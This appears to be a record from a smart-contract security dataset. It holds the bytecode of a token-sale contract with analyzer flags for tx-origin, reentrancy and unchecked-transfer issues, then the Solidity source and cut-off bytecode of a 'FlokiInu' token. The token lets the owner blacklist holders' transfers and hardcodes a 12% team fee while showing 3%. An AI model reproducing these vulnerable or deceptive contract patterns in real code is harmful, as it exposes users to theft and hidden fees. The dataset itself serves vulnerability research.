0x606060405260043610620001315763ffffffff60e060020a60003504166306b091f98114620001365780631936e4be146200016f578063313ce56714620001a15780633197cbb614620001c95780633e6d6a6b14620001df5780634769ed8f1462000203578063521eb273146200021f57806352cfd41f146200023557806355a373d6146200024b5780635d4dcf12146200026157806366b52b9314620002835780636b96668f1462000299578063776676d614620002bb57806378e9792514620002d75780637b41398514620002ed5780638da5cb5b1462000306578063a0355eca146200031c578063ac1a386a1462000338578063bbcd5bbe146200035a578063cd1ce6d5146200037c578063eee242191462000395578063f2fde38b14620003ab578063f3fef3a314620003cd575b600080fd5b34156200014257600080fd5b6200015b600160a060020a0360043516602435620003f2565b604051901515815260200160405180910390f35b34156200017b57600080fd5b62000185620004a9565b604051600160a060020a03909116815260200160405180910390f35b3415620001ad57600080fd5b620001b7620004b8565b60405190815260200160405180910390f35b3415620001d557600080fd5b620001b7620004bd565b3415620001eb57600080fd5b62000201600160a060020a0360043516620004c3565b005b620001b7600160a060020a03600435166024356044356200050e565b34156200022b57600080fd5b62000185620007fd565b34156200024157600080fd5b620001b76200080c565b34156200025757600080fd5b6200018562000812565b34156200026d57600080fd5b6200015b600160a060020a036004351662000821565b34156200028f57600080fd5b6200020162000836565b3415620002a557600080fd5b62000201600160a060020a0360043516620008b7565b3415620002c757600080fd5b6200020160043560243562000902565b3415620002e357600080fd5b620001b762000979565b3415620002f957600080fd5b620001b76004356200097f565b34156200031257600080fd5b6200018562000a3b565b34156200032857600080fd5b6200020160043560243562000a4a565b34156200034457600080fd5b62000201600160a060020a036004351662000a84565b34156200036657600080fd5b62000201600160a060020a036004351662000acf565b34156200038857600080fd5b6200020160043562000b1a565b3415620003a157600080fd5b6200018562000b3b565b3415620003b757600080fd5b62000201600160a060020a036004351662000b4a565b3415620003d957600080fd5b62000201600160a060020a036004351660243562000be7565b600160a060020a03331660009081526008602052604081205460ff168062000428575060005433600160a060020a039081169116145b15156200043457600080fd5b600154600160a060020a031663a9059cbb848460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156200048b57600080fd5b5af115156200049957600080fd5b5050506040518051949350505050565b600454600160a060020a031681565b601281565b60065481565b60005433600160a060020a03908116911614620004df57600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03331660009081526008602052604081205481908190819081908190819060ff1615156200054257600080fd5b60075460009042116200055457600080fd5b60065442106200056357600080fd5b600034116200057157600080fd5b600154600160a060020a03166370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515620005c257600080fd5b5af11515620005d057600080fd5b505050604051805191505060008111620005e957600080fd5b670de0b6b3a76400009650620005ff8a6200097f565b9550620006258662000618348a63ffffffff62000c3516565b9063ffffffff62000c5c16565b600154909550339450600160a060020a03166370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156200067c57600080fd5b5af115156200068a57600080fd5b505050604051805193505082891015620006a2578892505b848310156200071257620006c487620006188588038963ffffffff62000c3516565b9150829450620006d682340362000c74565b60009250600160a060020a038b1682156108fc0283604051600060405180830381858888f1935050505015156200070c57600080fd5b62000731565b62000724838663ffffffff62000d0516565b9250620007313462000c74565b600154600160a060020a031663a9059cbb8c8760405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156200078857600080fd5b5af115156200079657600080fd5b50505060405180515050600160a060020a0384167f3319bb4966eaaeb523ecad57fa1daeb3bf6e5a6e559ac95bc4ed8d2042fcaf2c8c87604051600160a060020a03909216825260208201526040908101905180910390a250929998505050505050505050565b600354600160a060020a031681565b60055481565b600154600160a060020a031681565b60086020526000908152604090205460ff1681565b60005432600160a060020a039081169116146200085257600080fd5b600160a060020a033390811660009081526008602052604090819020805460ff191660011790557f5639d15217db4550671867b865ff218c0d7023a6a24b1f6d56d064a8611c0c8d919051600160a060020a03909116815260200160405180910390a1565b60005433600160a060020a03908116911614620008d357600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a039081169116146200091e57600080fd5b3082826000806200092e62000d18565b600160a060020a03909516855260208501939093526040808501929092526060840152608083019190915260a09091019051809103906000f08015156200097457600080fd5b505050565b60075481565b6002546000908190600160a060020a031663c97c150560405160e060020a63ffffffff8316028152602060048201819052600360248301527f6575720000000000000000000000000000000000000000000000000000000000604483015260649091019060405180830381600087803b1515620009fb57600080fd5b5af1151562000a0957600080fd5b5050506040518051915062000a349050816200061885670de0b6b3a764000063ffffffff62000c3516565b9392505050565b600054600160a060020a031681565b60005433600160a060020a0390811691161462000a6657600080fd5b811562000a735760078290555b801562000a805760068190555b5050565b60005433600160a060020a0390811691161462000aa057600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a0390811691161462000aeb57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a0390811691161462000b3657600080fd5b600555565b600254600160a060020a031681565b60005433600160a060020a0390811691161462000b6657600080fd5b600160a060020a038116151562000b7c57600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a0390811691161462000c0357600080fd5b600160a060020a03821681156108fc0282604051600060405180830381858888f19350505050151562000a8057600080fd5b600082820283158062000c53575082848281151562000c5057fe5b04145b151562000a3457fe5b600080828481151562000c6b57fe5b04949350505050565b60008062000c956103e8620006186005548662000c3590919063ffffffff16565b6004549092508284039150600160a060020a031682156108fc0283604051600060405180830381858888f19350505050151562000cd157600080fd5b600354600160a060020a031681156108fc0282604051600060405180830381858888f1935050505015156200097457600080fd5b60008282111562000d1257fe5b50900390565b6040516106508062000d2a8339019056006060604052341561000f57600080fd5b60405160a0806106508339810160405280805191906020018051919060200180519190602001805191906020018051915050600160a060020a038516151561005657600080fd5b83151561006257600080fd5b82151561006e57600080fd5b60008054600160a060020a031916600160a060020a038781169190911791829055166366b52b936040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15156100dc57600080fd5b5af115156100e957600080fd5b505060006003555060048390556005849055610112828264010000000061031b61011c82021704565b5050505050610226565b81151561019957600054600160a060020a03166378e979256040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561017b57600080fd5b5af1151561018857600080fd5b50505060405180516001555061019f565b60018290555b80151561021c57600054600160a060020a0316633197cbb66040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156101fe57600080fd5b5af1151561020b57600080fd5b505050604051805160025550610222565b60028190555b5050565b61041b806102356000396000f30060606040526004361061005e5763ffffffff60e060020a6000350416633197cbb681146101b85780635ed9ebfc146101dd57806378e97925146101f0578063a0355eca14610203578063bf5839031461021e578063c6a2573d14610231575b600154600090421161006f57600080fd5b600254421061007d57600080fd5b6004546000901161008d57600080fd5b600054600554600454600160a060020a0390921691634769ed8f91349133919060405160e060020a63ffffffff8716028152600160a060020a039093166004840152602483019190915260448201526064016020604051808303818588803b15156100f757600080fd5b5af1151561010457600080fd5b50505050604051805160045490925061012491508263ffffffff61024416565b60045560035461013a908263ffffffff61025616565b60038190555033600160a060020a03167f99d83b77a8a0fbdd924ad497f587bec4b963b71e8925e31a2baed1fbce2a16526000363485600554604051602081018490526040810183905260608101829052608080825281018590528060a081018787808284378201915050965050505050505060405180910390a250005b34156101c357600080fd5b6101cb61026c565b60405190815260200160405180910390f35b34156101e857600080fd5b6101cb610272565b34156101fb57600080fd5b6101cb610278565b341561020e57600080fd5b61021c60043560243561027e565b005b341561022957600080fd5b6101cb61030f565b341561023c57600080fd5b6101cb610315565b60008282111561025057fe5b50900390565b60008282018381101561026557fe5b9392505050565b60025481565b60035481565b60015481565b600054600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156102bd57600080fd5b5af115156102ca57600080fd5b50505060405180519050600160a060020a031633600160a060020a03161415156102f357600080fd5b81156102ff5760018290555b801561030b5760028190555b5050565b60045481565b60055481565b81151561037f57600054600160a060020a03166378e979256040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561036157600080fd5b5af1151561036e57600080fd5b505050604051805160015550610385565b60018290555b8015156103e957600054600160a060020a0316633197cbb66040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156103cb57600080fd5b5af115156103d857600080fd5b50505060405180516002555061030b565b600255505600a165627a7a723058209ae138b7eda8199b53d38e35cd9c926be4d4ce2381349fc4f4e90b42aeea8d730029a165627a7a723058207a0248285b8f7a11df9254d0b7d04cb1b36d39d1c9fa435f902eeeb755d597550029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,187 |
0x584102338163936c25b1e378B39742f30A0CB83d
|
/**
*Submitted for verification at Etherscan.io on 2021-07-04
*/
/*
Welcome to FlokiInu
A Token On The Ethereum (ETH) Blockchain Explorer
Community: https://t.me/FlokiInuToken
Announcement: https://t.me/FlokiInuAnn
Twitter: https://twitter.com/FlokiinuFi
Official Site: https://flokiinufi.com/
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FlokiInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Floki Inu | flokiinufi.com";
string private constant _symbol = "FLOKIinu";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 3;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 3;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(6).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 12);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e9f565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906129a6565b61045e565b6040516101789190612e84565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613041565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612953565b61048d565b6040516101e09190612e84565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906128b9565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130b6565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a2f565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f91906128b9565b610783565b6040516102b19190613041565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612db6565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e9f565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906129a6565b61098d565b60405161035b9190612e84565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129e6565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a89565b6110ab565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612913565b6111f4565b6040516104189190613041565b60405180910390f35b60606040518060400160405280601a81526020017f466c6f6b6920496e75207c20666c6f6b69696e7566692e636f6d000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b610556856040518060600160405280602881526020016137bd60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f81565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f81565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c71565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f81565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f464c4f4b49696e75000000000000000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f81565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a646133fe565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac990613357565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611e00565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612f81565b60405180910390fd5b600f60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90613001565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4291906128e6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc91906128e6565b6040518363ffffffff1660e01b8152600401610df9929190612dd1565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b91906128e6565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612e23565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612ab6565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612dfa565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a79190612a5c565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612f81565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612f41565b60405180910390fd5b6111b260646111a483683635c9adc5dea0000061208890919063ffffffff16565b61210390919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111e99190613041565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612fe1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612f01565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550